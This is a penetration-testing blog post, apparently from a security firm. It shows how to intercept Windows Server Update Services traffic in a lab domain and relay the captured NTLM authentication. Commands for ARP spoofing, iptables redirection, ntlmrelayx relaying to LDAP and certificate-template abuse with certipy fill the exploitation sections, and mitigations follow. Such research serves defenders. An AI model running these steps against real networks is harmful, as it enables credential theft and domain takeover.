September 12, 2025

WSUS Is SUS: NTLM Relay Attacks in Plain Sight

Written by Austin Coontz

Penetration Testing Active Directory Security Review

Table of contents

WSUS Primer
WSUS Enumeration
Lab Setup
HTTP Exploitation
HTTPS Exploitation
Mitigations
Conclusion

Windows Server Update Services (WSUS) is a trusted cornerstone of patch management in many environments, but its reliance on HTTP/HTTPS traffic makes it a prime target for attackers operating on the local network. By intercepting and relaying WSUS authentication flows, it’s possible to capture NTLM hashes from both user and machine accounts, turning routine update traffic into an opportunity for credential theft and relay attacks. In this post, I’ll show how to identify WSUS traffic, demonstrate how HTTP and HTTPS WSUS endpoints can be abused, and share the path that led me to exploring this attack vector in the first place.

My interest in WSUS exploitation started after coming across Alex Neff’s post on X about wsuks, a tool for serving malicious updates through WSUS. While weaponizing updates is a unique attack method, that angle isn’t the focus of this blog. Not long after, I came across GoSecure’s excellent write-up on abusing WSUS for NTLM relaying. This shifted my focus from update weaponization to interception and pushed me to dig deeper into how WSUS traffic could be abused in real-world environments.

WSUS Primer

WSUS is Microsoft’s patch distribution platform that is designed to centralize and control how updates flow into an enterprise. Instead of every workstation reaching out directly to Microsoft’s update servers, organizations deploy WSUS to act as a trusted middleman. Endpoints register with a WSUS server, periodically check in, and download updates that have been approved by administrators. By default, this traffic flows over port 8530/TCP for HTTP or port 8531/TCP for HTTPS.

WSUS can be configured directly via Group Policy (Microsoft Docs), integrated into System Center Configuration Manager (SCCM) (Microsoft Docs), or even tied in to Intune and Windows Update for Business in co-management scenarios (Microsoft Docs). In September 2024, Microsoft officially announced that WSUS is deprecated (Microsoft Post). While the role is still available and supported in Windows Server 2025, it is no longer receiving new features or investment. Despite its deprecation, WSUS still facilitates authentication flows that attackers can intercept and abuse.

WSUS relies on two (2) main registry values pushed through Group Policy: WUServer and WUStatusServer. The WUServer is where clients check in for updates, sending SOAP POST requests to endpoints like ClientWebService/client.asmx to learn which patches are available and approved. The WUStatusServer is where those same clients report back, posting installation results to ReportingWebService/reportingwebservice.asmx. In most deployments, both values point to the same WSUS server, but they may be split if reporting and update distribution need to be handled separately. Microsoft illustrates this complete process in the following diagram:

Figure 2 - WSUS Client and Server Interaction

For attackers, a few registry values can significantly impact the ease of exploitation. WUServer and WUStatusServer define where the client fetches updates and reports installation results, making them the core indicators of whether a host is tied to WSUS. The DetectionFrequencyEnabled and DetectionFrequency values then dictate how often the client checks in. By default, custom detection is disabled, and systems fall back to the 22-hour interval. If custom detection is enabled, the interval can be shortened to as little as one (1) hour, giving attackers more opportunity.

Registry Key	Purpose
WUServer	URL where clients fetch update approvals
WUStatusServer	URL where clients report installation results
DetectionFrequencyEnabled	Enables custom detection intervals
DetectionFrequency	Number of hours between check-ins. Default = 22

WSUS Enumeration

Unauthenticated

Unauthenticated enumeration of WSUS can be performed either by scanning or by intercepting traffic. A simple Nmap sweep against 8530/TCP and 8531/TCP will often identify WSUS servers, with service banners revealing IIS and SSL certificate details that confirm the role. Some environments may reconfigure WSUS to use other ports, but these are the defaults.

nmap -sSVC -Pn --open -p 8530,8531 -iL <host_list>

The other option is to use ARP spoofing or DNS spoofing on the local subnet with tools like mitm6, Bettercap, or arpspoof, paired with a listener such as my own tool wsusniff.py. This technique can intercept WSUS traffic over HTTP and log the requests clients make to endpoints like ClientWebService/client.asmx or ReportingWebService/reportingwebservice.asmx.

It’s important to note that this approach only works against HTTP traffic. HTTPS requests are encrypted and won’t yield anything useful unless certificate injection is possible. The advantage of running wsusniff.py is that it produces a list of clients actively communicating with WSUS. Those hosts can then be singled out as prime candidates for ARP or DNS poisoning, since exploitation depends on tricking endpoints into believing the attacker’s system is the WSUS server.

Authenticated

From an authenticated perspective, one (1) way to enumerate WSUS is by reviewing Group Policy settings stored in SYSVOL. Since WSUS configuration is usually pushed down via GPOs, the relevant values can often be found in Machine_Registry.pol files. Using a tool like MANSPIDER, this process can be automated across SYSVOL shares to search for WSUS-related registry keys. To make it easier, I built a wrapper called wsuspider.sh, which runs MANSPIDER, automatically parses out keys like WUServer, WUStatusServer, and UseWUServer using regpol, and then summarizes the results. This provides quick insight into whether WSUS is deployed, how it’s configured, and which servers clients may be pointed to.

If you already have administrative or local access on a machine, the same information can be pulled directly from the registry. The WSUS keys are under HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate and can be queried with tools like NetExec or the native reg query command.

nxc smb <client_ip> -u <username> -p <password> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Lab Setup

For this blog post, I’ve set up a mini lab environment to demonstrate WSUS enumeration and exploitation techniques. The lab architecture looks as follows:
Domain: SMOKE.LOCAL

Machines:
DC1 – Primary Domain Controller / WSUS Server (192.168.100.100)
DC2 – Secondary Domain Controller / AD CS (192.168.100.201)
WIN10-CLIENT – Windows 10 Pro (user WIN10-LOWPRIV logged in)
WIN11-CLIENT – Windows 11 Pro (user WIN11-LOWPRIV logged in)
Attacker Box – Ubuntu-based attack host

Users:
WIN10-LOWPRIV – Standard domain user on Windows 10
WIN11-LOWPRIV – Standard domain user on Windows 11

HTTP Exploitation

For the HTTP exploitation demo, the WUServer and WUStatusServer are set to http://dc1.smoke.local:8530, which resolves to 192.168.100.100. Because this traffic flows over HTTP, it’s vulnerable to being hijacked on the local subnet. This can be done with a variety of tools, but here we’ll just use arpspoof from the dsniff suite. By targeting both clients with ARP replies that say the attacker’s MAC address belongs to 192.168.100.100, we trick it into sending its WSUS traffic through our attacker system.

arp install dsniff
arpspoof -i ens33 -t <wsus_client_ip> <wsus_server_ip>

Once we’ve poisoned the client into sending its WSUS traffic to us, we still need to make sure our tools are seeing the packets on the right port. To do this, we add an iptables NAT rule that catches all inbound WSUS traffic on 8530/TCP and redirects it to whatever port we’re running ntlmrelayx on.

iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 #adding rule
iptables -t nat -L PREROUTING --line-numbers   # verify the rule
iptables -t nat -D PREROUTING 1                # remove it when done

We’re going to start our ntlmrelayx listener, but pull request #2034 must be used, as it re-added functionality originally introduced in #913. With this running, WSUS client authentications can be relayed to SMB, LDAP/S, or AD CS (ESC8). The setup looks like this:

ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530

Figure 10 - Starting ntlmrelayx listener

With enough waiting, once the Windows clients decide to reach out to WSUS, their authentication requests will be sent to our relay listener. In a real environment, this happens on the schedule defined by DetectionFrequency, but it can also be triggered manually with the Check for Updates option in Windows Update settings or by running:

wuauclt.exe /detectnow

As shown in the output below, the WSUS traffic is captured, and the machine accounts (WIN10-CLIENT$,WIN11-CLIENT$) are successfully relayed to LDAP on the domain controller, where they’re available as SOCKS connections for further exploitation.

Figure 11 - Machine Account Authentication Relayed With ntlmrelayx

From GoSecure: “After the application of KB4571756 and KB4577041 allowing to fix CVE-2020-1013 … this behavior was modified back to what seemed to be the originally intended one. The Windows Update client no longer authenticated using a user account and exclusively uses the machine account.”

That said, while user accounts are no longer used when authenticating to endpoints like /ClientWebService/client.asmxor /SimpleAuthWebService/simpleauth.asmx, they still may show up in authentication attempts to /ReportingWebService/reportingwebservice.asmx if a user is logged in. Authentication to the reporting service may send either machine or user hashes. Despite repeated testing, the reason for this inconsistency remains unclear. Please reach out if you’ve observed this behavior in more detail.

Figure 12 - User Account Authentication Relayed With ntlmrelayx

HTTPS Exploitation

While HTTP exploitation can be carried out without any credentials, there is also an opportunity to attack WSUS when it is configured over HTTPS. To do this, an attacker must obtain a certificate that is trusted by the WSUS clients. This can be accomplished through Active Directory Certificate Services (AD CS), but it requires access to an account that can enroll in a certificate template configured with Enrollee Supplies Subject. With that privilege, the attacker can request a certificate for the WSUS server’s hostname, effectively making their spoofed server trusted by clients and enabling the same style of interception and relay as the HTTP scenario.

Enumeration of the AD CS infrastructure can be done with Certipy.

certipy find -u <username> -p <password> -dc-ip <IP> -enabled

After, the JSON results can be parsed with jq to easily enumerate target templates.

jq -r ' .["Certificate Templates"][] | select(.["Enrollee Supplies Subject"] and .Enabled) | "\(.["Template Name"])\n" + (.Permissions["Enrollment Permissions"]["Enrollment Rights"] | map("  " + .) | join("\n")) + "\n" ' <certipy_output.json>

Looking at the VulnerableWebServer certificate template, we can see that it is enabled for enrollment by any authenticated user in the domain. More importantly, the template allows Enrollee Supplies Subject, meaning an attacker can specify arbitrary hostnames when requesting a certificate.

Figure 14 - VulnerableWebServer Template Details

By abusing this, a low-privileged user can request a certificate for the WSUS server and receive a PFX file containing a trusted server certificate and private key.

certipy req -u <user@domain> -p <password> -ca <ca_name> -template <template> -subject <CN=WSUS.FQDN> -dns <WSUS.FQDN> -out <output.pfx> -dc-ip <IP>

After requesting the certificate, the PFX file can be split into its components for use in tools. Using OpenSSL, the private key and the certificate are extracted into separate files.

openssl pkcs12 -in <PFX.pfx> -nocerts -out <KEY.key> -nodes
openssl pkcs12 -in <PFX.pfx> -clcerts -nokeys -out <CERT.crt>

Figure 16 - Extracting Certificate and Private Key

The same steps performed previously for ARP/DNS spoofing must also be done when targeting HTTPS. In addition, the iptables NAT rule is required to forward 8531/TCP to 8531/TCP.

iptables -t nat -A PREROUTING -p tcp --dport 8531 -j REDIRECT --to-ports 8531 #adding rule
iptables -t nat -L PREROUTING --line-numbers   # verify the rule
iptables -t nat -D PREROUTING 1                # remove it when done

Finally, the ntlmrelayx listener can be started. Pull request #2034 must be used as it adds support for HTTPS relay. In this case, the command includes the --https, --certfile, and --keyfile options to present the trusted certificate.

ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8531 --https --certfile <CERT.crt> --keyfile <KEY.key>

Figure 17 - Starting ntlmrelayx listener

Once the Windows clients decide to reach out to WSUS, our listener captures and relays the authentication. User hashes can also be captured over HTTPS when authentication attempts target /ReportingWebService/reportingwebservice.asmx.

Figure 18 - Machine Account Authentication Relayed With ntlmrelayx

Mitigations

Mitigations for this attack chain start with hardening how WSUS communicates. Enabling HTTPS on WSUS prevents it from being exploited from an unauthenticated perspective and stops attackers from trivially harvesting machine or user credentials over HTTP. In environments with AD CS, however, care must be taken with certificate templates. If all users can enroll in a template that allows Enrollee Supplies Subject, this may permit an attacker to obtain a certificate for the WSUS server itself and carry out HTTPS interception.

Beyond WSUS-specific controls, the broader threat of NTLM relay can be reduced by enforcing SMB Signing, enabling LDAP signing, and requiring channel binding on LDAPS. Preventing ARP spoofing and DNS spoofing at the network layer also disrupts the traffic redirection that exploitation depends on. Finally, since NTLM authentication still exposes hashes, strong password policies (or ideally, reducing reliance on NTLM in favor of Kerberos) help mitigate the likelihood of captured credentials being recovered and reused.

Conclusion

In summary, WSUS can be exploited with clients in the local subnet by spoofing to convince them the attacker is the WSUS server. Over HTTP, this enables interception and relay of traffic to capture machine and user hashes. Even when WSUS is configured for HTTPS, the same attacks remain possible if a trusted certificate can be obtained, allowing interception of encrypted traffic and capture of credentials just as with HTTP.

Shoutouts

Scott Nusbaum - Code Review
Dennis Shannon - wsuspider.sh + Content Review
Lou Scicchitano & Kevin Clark - HTTPS Exploitation Ideas
Multiple TrustedSec Members & Ethan Tomford - Miscellaneous Questions, Testing, and Feedback

Additional References

Solutions

Services

About Us